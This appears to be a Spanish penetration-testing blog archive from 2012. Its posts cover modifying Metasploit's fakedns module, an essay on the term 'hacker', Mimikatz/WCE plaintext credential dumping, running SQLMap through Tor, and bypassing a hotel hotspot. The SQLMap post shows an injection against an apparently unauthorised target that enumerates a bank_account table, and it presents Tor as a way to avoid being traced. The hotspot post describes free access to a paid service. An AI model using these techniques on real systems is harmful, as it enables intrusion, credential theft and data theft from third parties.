martes, 27 de marzo de 2012

Mejorando FakeDNS (y II)

En la anterior entrada nos quedábamos con que habíamos modificado el módulo "fakedns" de Metasploit para invertir su funcionalidad, y nos habíamos encontrado con un mensaje de error en determinadas circunstancias:

msf  auxiliary(fakedns_single) >
[-] fakedns: Resolv::ResolvError DNS result has no information for foo.pentester.es
[...]

El problema que identificamos es que el módulo tiene un error cuando intentas resolver contra él un nombre que no existe (foo.pentester.es). Esto es debido a que hemos alterado con un parche guarrindongo el funcionamiento original del módulo, así que ahora nos vemos en situaciones que el desarrollador no pensó. En este caso, la resolución real únicamente se iba a realizar para aquellos nombres que nosotros definiéramos en el "domain bypass", que evidentemente iban a ser dominios existentes, así que no se implementaron medidas que comprobaran si la resolución existe o no.

Como hemos modificado el módulo y ahora no tenemos control sobre los nombres que va a resolver y cuales no, debemos añadir un control de excepciones en la zona del código en la que se realiza la resolución:

begin
        ip = Resolv::DNS.new().getaddress(name).to_s
        answer = Resolv::DNS::Resource::IN::A.new( ip )
rescue ::Exception => e
        next
end

Con este control añadido, vamos a volver a intentar resolver algunos nombres a ver si hemos conseguido que el módulo siga funcionando a pesar de no poder resolver un nombre:

$ dig @127.0.0.1 www.pentester.es
www.pentester.es. 60 IN A 192.168.1.100
dig @127.0.0.1 foo.pentester.es
;foo.pentester.es. IN A
$ dig @127.0.0.1 www.yahoo.com
www.yahoo.com. 60 IN A 98.139.183.24

Perfecto! Ahora está resolviendo correctamente y además no casca, así que ya podemos utilizarlo para analizar las conexiones que queremos.

Esta solución es un poco chapuza, pero es funcional, y nos puede servir para interceptar solo las conexiones que queramos, con algunas limitaciones.

¿Quereis ver la solución buena? Lo veremos en el próximo post.

lunes, 26 de marzo de 2012

Mejorando FakeDNS (I)

Como ya sabréis todos, soy un enamorado del Metasploit Framework, pero no por los exploits que incluye, sino por otras funcionalidades incluidas en el framework que me resultan muy útiles y cómodas de utilizar.

Una de las funcionalidades que uso con mucha frecuencia es la del módulo fakedns, que te permite configurar un servidor DNS en cuestión de segundos, que resolverá cualquier nombre con la IP que le digamos, salvo una lista concreta de nombres para los que se resolverán sus IPs reales.

Veamos como funciona:

# ./msfconsole
msf > use auxiliary/server/fakedns
msf  auxiliary(fakedns) > show options

Module options (auxiliary/server/fakedns):
   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DOMAINBYPASS  www.google.com   yes       The list of domain names we want to fully resolve
   SRVHOST       0.0.0.0          yes       The local host to listen on.
   SRVPORT       53               yes       The local port to listen on.
   TARGETHOST                     no        The address that all names should resolve to

msf  auxiliary(fakedns) > set DOMAINBYPASS www.pentester.es
msf  auxiliary(fakedns) > set TARGETHOST 192.168.1.100
msf  auxiliary(fakedns) > run
[*] Auxiliary module execution completed

[*] DNS server initializing
[*] DNS server started

Ahora, si probamos a hacer algunos "dig" (os enseño la salida recortada), veremos como resuelve todos los nombres con la dirección 192.168.1.100, salvo el nombre www.pentester.es (o los que hubiéramos pasado separados por espacios):

$ dig @127.0.0.1 www.google.com
www.google.com. 60 IN A 192.168.1.100
$ dig @127.0.0.1 www.yahoo.com
www.yahoo.com. 60 IN A 192.168.1.100
$ dig @127.0.0.1 www.pentester.es
www.pentester.es. 60 IN A 173.194.66.121

Este funcionamiento... a mi nunca me ha terminado de convencer, lo veo demasiado "de botón gordo", ya que yo por lo general suelo querer interceptar solo una o un grupo de conexiones, y dejar que todas las demás sigan su funcionamiento normal.

Por suerte estamos trabajando con software OpenSource y tenemos la oportunidad de poder acceder al código y modificarlo según nos convenga, así que vamos a pegarle un vistazo al código (modules/auxiliary/server/fakedns.rb):


Como podemos ver, hay un punto en el código en el que se recorre la lista y se compara con la petición DNS que acaba de entrar. Si son iguales, entonces se hace una resolución "normal", mientras que si tras recorrer la lista no ha encontrado ninguno se entiende que al no estar en la lista de "bypass", se envia la respuesta "fake".

Si pensamos en una solución rápida y práctica, podemos sencillamente cambiar la condición:

[...]
if (name.to_s <=> ex) != 0
[...]

Con esto, siempre y cuando solo pongamos un elemento en la lista, vamos a tener más que suficiente, ya que va a funcionar de la forma completamente contraria: Cuando el nombre solicitado esté en la lista resolverá con fake, y cuando no lo esté funcionará normal.

Esta aproximación tan sencilla es la que he usado muchas veces cuando he querido interceptar las conexiones de algún software para analizarlas y dejar que el resto de elementos del sistema funcionen sin pasar por mis otras herramientas. Sin embargo, en algunas situaciones...

msf  auxiliary(fakedns_single) > [-] fakedns: Resolv::ResolvError DNS result has no information for foo.pentester.es /System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:363:in `getaddress'/opt/msf/modules/auxiliary/server/fakedns.rb:143:in `run'/opt/msf/modules/auxiliary/server/fakedns.rb:140:in `each'/opt/msf/modules/auxiliary/server/fakedns.rb:140:in `run'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1183:in `each_question'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1182:in `each'/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/lib/ruby/1.8/resolv.rb:1182:in `each_question'/opt/msf/modules/auxiliary/server/fakedns.rb:115:in `run'/opt/msf/lib/msf/base/simple/auxiliary.rb:102:in `job_run_proc'/opt/msf/lib/msf/base/simple/auxiliary.rb:74:in `run_simple'/opt/msf/lib/rex/job_container.rb:36:in `call'/opt/msf/lib/rex/job_container.rb:36:in `start'/opt/msf/lib/rex/thread_factory.rb:21:in `call'/opt/msf/lib/rex/thread_factory.rb:21:in `spawn'/opt/msf/lib/msf/core/thread_manager.rb:64:in `call'/opt/msf/lib/msf/core/thread_manager.rb:64:in `spawn'/opt/msf/lib/msf/core/thread_manager.rb:57:in `initialize'/opt/msf/lib/msf/core/thread_manager.rb:57:in `new'/opt/msf/lib/msf/core/thread_manager.rb:57:in `spawn'/opt/msf/lib/rex/thread_factory.rb:21:in `spawn'/opt/msf/lib/rex/job_container.rb:31:in `start'/opt/msf/lib/rex/job_container.rb:155:in `start_bg_job'/opt/msf/lib/msf/base/simple/auxiliary.rb:71:in `run_simple'/opt/msf/lib/msf/base/simple/auxiliary.rb:89:in `run_simple'/opt/msf/lib/msf/ui/console/command_dispatcher/auxiliary.rb:103:in `cmd_run'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:380:in `send'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:380:in `run_command'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:342:in `run_single'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:336:in `each'/opt/msf/lib/rex/ui/text/dispatcher_shell.rb:336:in `run_single'/opt/msf/lib/rex/ui/text/shell.rb:199:in `run'./msfconsole:134

Ops! Cascazo! Y además la ejecución del módulo se ha ido al garete, así que como tenga en una red o host peticiones como esta... voy a estar teniendolo que rearrancar cada dos por tres. Imposible trabajar así, vamos.
En el próximo post veremos porque pasa esto y como evitarlo, y seguiremos mejorando el fakedns.

martes, 20 de marzo de 2012

Hackers

Antes de nada, quiero adelantar que no soy persona a la que le guste escribir posts de opinión ni nada que no tenga "cacharreo" detrás, pero en esta ocasión voy a hacer una excepción que supongo que entendereis si leéis hasta el final.

En la pasada RootedCON, durante uno de los RootedPanels, uno de los moderadores preguntó ¿cuántos de aquí sois hackers? Prácticamente nadie de la audiencia levantó la mano (entre los que me incluyo). El término "Hacker" está siendo empleado por los medios como sinónimo de "Pirata Informático" o "delincuente", y con toda esa carga semántica es normal que nadie quiera levantar la mano.

La definición que más me gusta, no recuerdo donde lo leí o a quien se la escuché, o si se me ocurrió en un momento de inspiración filosófica, pero: El Hacking es el ARTE de hacer que las cosas funcionen de manera diferente a como su creador originalmente pensó. Si os fijáis, este definición no es puramente tecnológica, como otras que he visto, y se puede aplicar a aquella persona que diseña una cadena de entrada que hace que un software ejecute código cuando únicamente debería mostrar una información, pero también se puede aplicar a aquellas personas que hacen tunning de un coche, o a los compañeros de IKEA Hackers, que cogen las piezas de un mueble y las montan de forma que se obtiene algo diferente. Esto para mi es ser un Hacker, tener un conocimiento sobre tu campo suficientemente profundo como para poder hacer Hacking sobre él.

A pesar de esto, son tan malas las connotaciones que se han atribuido al término "Hacker" que los que nos dedicamos a esto empleamos el término "Hacking Ético" para venderlo ¿cómo que ético? ODIO el término "ético" porque asume que el "Hacking" de por si no es ético, algo que es totalmente falso. Es como si algunos atracadores de bancos practicaran atletismo y lo utilizaran para darse a la fuga, y los medios acabaran usando tantas veces el término "atleta" como sinónimo de "delincuente" que los que siempre lo han practicado tuvieran que empezar a decir que practican "Atletismo Ético". Absurdo ¿verdad? ¿Y "cerrajerismo ético"? También hay ladrones que abren cerraduras, y no por ello los medios han "demonizado" a este colectivo.

Pero también es culpa nuestra, porque hemos permitido que lo hagan, porque no les hemos corregido, o porque cuando una persona pregunta ¿quién aquí se considera un hacker? Todos agachamos la cabeza y fortalecemos la sensación de la sociedad de que ser un hacker es algo malo.

Yo soy un hacker, o al menos intento leer, estudiar, practicar todos los días para alcanzar los conocimientos necesarios para poder utilizar las técnicas de hacking. NO soy un delincuente, y ME NIEGO a seguir utilizando el calificativo "Ético" referido a mi trabajo.

¿Te gusta leer absolutamente todo lo que pasa por tus manos? ¿Te gusta saber como funciona todo hasta el más mínimo detalle? Y cuando ves claramente que en determinadas circunstancias podrías hacer que algo funcionara de manera diferente ¿te gusta probar si eres capaz de hacerlo? Amigo mio, eres un hacker.

-----------------------------

En memoria de Hugo Castellano, gran defensor de la comunidad hacker y padre del compañero Nico Castellano, que falleció el pasado sábado, y que nos tuvo que recordar a todos lo que somos y que hay que tener el valor de defender lo que uno es en cualquier circunstancia. Gracias Don Hugo, nunca le olvidaremos. Descanse en Paz.

lunes, 12 de marzo de 2012

Mimikatz & WCE 1.3beta

Hace algo más de un mes, mi compañero Julio Gómez nos mandaba a unos cuantos una herramienta llamada Mimikatz, publicada en Frances, que decía poder extraer las contraseñas de Windows de la memoria. Tras unas cuantas horas de pruebas, IDA, y ver un poco que hacía, parece que efectivamente la herramienta hacía lo que decía hacer.

Fruto de las pruebas, otro compañero, Ramón Pinuaga, escribía en el blog de S21sec un articulo donde comentaba el descubrimiento de la herramienta, la técnica que empleaba, y algunas de las pruebas que hicimos con ella.

Ahora, algunas semanas después, una actualización de una de mis herramientas favoritas: Windows Credential Editor (WCE) de Hernán Ochoa, de la que ya he hablado en otras ocasiones, incorpora esta técnica y es capaz de obtener las credenciales en texto claro mediante la nueva opción -w:


En estos momentos, la versión 1.3, que es la que soporta esta nueva funcionalidad, se encuentra en estado Beta, y únicamente disponible en su versión de 32 bits, aunque todos esperamos poder verla pronto disponible para 64 bits.

> wce.exe -w


Según he podido leer tanto en el blog del autor de Mimikatz, la información que conozco sobre WCE y un poquito de IDA, la técnica empleada originariamente por Mimikatz sería muy similar (por no decir idéntica) a la empleada tradicionalmente por WCE, salvo que a éste último se le habría añadido la funcionalidad de consultar otros Security Packages además de MSV1_0, concretamente WDigest, de donde se pueden obtener las credenciales en texto claro. La otra posibilidad, que era la de obtener las credenciales a través de Tspkg no ha sido implementada, imagino que porque esta última requiere que el sistema sea un Windows Vista o superior, mientras que en el caso de WDigest la técnica funcionaría con cualquier equipo Windows XP o superior.

No nos olvidemos que para que estas credenciales hayan sido almacenadas en memoria es necesario que el usuario haya hecho login en la máquina físicamente o a través de Terminal Server en algún momento tras el último reinicio de la máquina. Las autenticaciones a través de red almacenarían esta contraseña, ya que esta ni siquiera llegaría a ser transmitida a este equipo.

En el próximo post, algunas "jugadas" que podemos hacer empleando esta técnica.

Actualización: En los comentarios del post podeis ver una explicación muy completa que ha realizado Hernan Ochoa, autor de WCE, sobre el funcionamiento del mismo, con todas las referencias necesarias para comprender el proceso. También nos anuncia que ya ha liberado la versión para 64 bits de la nueva versión de la herramienta.

jueves, 8 de marzo de 2012

SQLMap con Tor

Cada vez que oigo la palabra TOR me acuerdo de dos cosas: La primera es de la película "El Trueno Azul", y de Frank Murpy y su "JAFO". La película es antigua antigua, pero es una de esas que se te quedan en la retina cuando eres niño.

La segunda es de una frase de @pof en la mesa redonda en la que participó en la NoConName de este pasado año: "La primera comilla desde casa, el resto desde TOR".

La verdad es que por suerte o por desgracia, a todos los interesados por la seguridad se nos escapa una comilla de vez en cuando, y nos damos cuenta, casi sin querer, de lo fácil que es vulnerar la seguridad de algunos sitios. Yo aporreo el teclado al azar y la mitad de las veces me sale un ' OR '1'='1 , no lo puedo evitar :P

Lamentablemente, la legislación hoy en día nos lo pone difícil, ya que una vez encontrado uno de estos fallos hay que ser valiente para reportarlo. Existen mecanismos, como los CERTs y las Fuerzas y Cuerpos de Seguridad del Estado, sobretodo si quedan "a la vista" datos sensibles de ciudadanos. No obstante, aunque estas entidades nos garanticen el anonimato, la empresa afectada siempre podría buscar en sus logs y acabar viendo tu IP. Aquí es donde entra TOR.


En algún otro post nos meteremos a fondo con como funciona la red TOR, pero para ser prácticos diremos que es un proxy que nos instalamos en nuestro equipo al que podamos conectarnos, y que hace que nuestras conexiones salgan a través de diferentes nodos de la red, distribuidos por todo el mundo. Para saber a que puerto y mediante que protocolo funciona este proxy, simplemente tenemos que ir a las preferencias de red del navegador Firefox que viene con TOR y ver como está configurado:


Algunas herramientas, como SQLMap, ya incorporan directamente soporte para que las utilicemos a través de TOR, aunque podríamos adaptar cualquier herramienta que suporte el uso de proxy SOCKSv5. De esta forma, mediante las opciones --tor, --tor-port y --tor-type podemos configurar SQLMap para que funcione a través de la red TOR, y así olvidarnos de los problemas que podamos tener:

$ ./sqlmap.py -u "http://xxx.yyy.zzz.www/check.php?order=123456" -p order --tor --check-tor --tor-port=50247 --tor-type=SOCKS5 -D checkdb -T bank_account --columns

[02:14:51] [WARNING] increasing default value for --time-sec to 10 because switch '--tor' was provided
[02:14:52] [INFO] setting Tor SOCKS proxy settings
[02:14:52] [INFO] checking Tor connection
[02:14:54] [INFO] Tor is properly being used
[02:14:54] [INFO] using '/opt/sqlmap/output/xxx.yyy.zzz.www/session' as session file
[02:14:54] [INFO] resuming injection data from session file
[02:14:55] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[02:14:55] [INFO] testing connection to the target url
[02:14:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: Apache, PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5.0.11

Database: checkdb                                                                                                            
Table: bank_account
[3 columns]
+------------------------+---------------+
| Column                  | Type           |
+------------------------+---------------+
| account_name       | varchar(32) |
| account_number  | varchar(32) |
| id                            | int(11)         |
+------------------------+---------------+

"Aguita" como están las cosas por ahí fuera, no quiero ni mirar la tabla :)
Que nadie se olvide que este tipo de medidas sirven para que la empresa no tenga la tentación de querer pagar con nosotros la rabia de tener a la guardia civil encima por un incumplimiento de la LOPD, pero si la lias MUY PARDA entonces ya entra la policía, los ISPs, la colaboración internacional, el profiling, en fin... que no la lieis parda xD

lunes, 5 de marzo de 2012

ByPass cutre-HotSpot

Como todos los que viajais algo por ahí como yo sabeis, en los hoteles está de moda ofrecer conexión a Internet (Bien!) a través de HotSpots de pago (Ouch!). Yo nunca he sido usuario de esta tecnología, porque por suerte tengo un pincho 3G y como cuando voy de hoteles tampoco suelo necesitar descargarme nada, me resulta más que suficiente.

Sin embargo, el tema de la seguridad de los HotSpot es algo que siempre oigo en boca de todos, que si tunelización por DNS (lento, lento, lento...), que si sniffar la red y hacer un MAC Spoofing para suplantar a un usuario legítimo, ... pero nunca había oído algo como lo que me encontré el otro día:


Hasta ahí todo normal ¿verdad? Hemos conectado a una Wifi abierta (nunca entenderé por qué...), y al intentar visitar cualquier página, por ejemplo Google, el HotSpot nos salta y nos pide usuario y contraseña.

Como una de las técnicas típicas que siempre se oyen es lo de "pues te pones la Mac de alguien que esté conectado y a correr!", quise pegarle un vistazo a ver cuantas personas estaban conectadas a ésta misma Wifi. Lo podría haber sacado con Airodump o algún otro software similar, pero ya que estaba conformado, me conformé con usar NMap.

# nmap -sP 10.0.0.0/22
Nmap done: 256 IP addresses (24 hosts up) scanned in 206.54 seconds

De primeras me llamó la atención de que hubiera tanta gente conectada ¿tan lleno estaría el hotel? Me decidí a pegarle un vistazo en detenimiento a los equipos, para ver si dejaba de tener esa sensación de "oler a bug" que suelo tener en estas situaciones.

# nmap -sS -PN -T5 -p 1-65535 10.0.0.69

Nmap scan report for localhost (10.0.0.69)
Host is up (0.000068s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
53/tcp       open  domain
80/tcp       open  www-http
3129/tcp   open  squid
8080/tcp   open  http-proxy

Mmmm, ¿un equipo de usuario con los puertos 53, 80, 3129, 8080 abiertos? Uy que peste...

La misma situación se puede observar para todos los equipos conectado a la wifi, así que podemos deducir que ABSOLUTAMENTE TODAS las conexiones que pasan a través del AP son redirigidas a la pantalla de login del HotSpot, siempre que sea una conexión a alguno de estos puertos.
¿Podré conectarme a casa por VPN? ¿Y usar el correo por el puerto de IMAPs? ¿Y bajarme cosas del Emule?

Como podeis imaginar, la respuesta es SI, va a funcionar sin emplear ningún tipo de técnica, siempre y cuando los servicios a los que accedes no estén en ninguno de estos cuatro puertos.

Pero... ¿y si queremos navegar? La verdad es que este HotSpot es nuestro amigo y nos ayuda a mejorar nuestro nivel de seguridad, y más tratándose de una Wifi compartida, ya que nos obliga a emplear HTTPS para visitar las webs, ya que al ir por el puerto 443, no está dentro de los puertos "capturables", y por tanto vamos a poder salir a Internet de una forma segura... y gratis ¿qué más se puede pedir?


Ya podemos navegar, entrar en nuestro correo de GMail, visitar FaceBook, y en general cualquier web que tenga opción de ser visitada empleando HTTPS, que no son todas, pero si las más "imprescindibles".

¿Y si la web que queremos ver no dispone de HTTPS? Bueno, siempre podemos intentar acceder a alguna que sí que podamos acceder por HTTPS, y que desde esta nos muestre el contenido de la web que queremos ver. Un ejemplo, aunque no muy cómodo, es usar la propia caché de Google, consultada a través de HTTPS.


Pues la verdad es que es mucho más sencillo de lo que pensaba, al menos con el fabricante de estos HotSpots ¿ Habéis jugado con los HotSpots? ¿ Tenéis alguno cerca? ¿ probáis esto y me decís?

Imagino que esto será un error de diseño de este fabricante de HotSpots en concreto, pero por asegurarnos...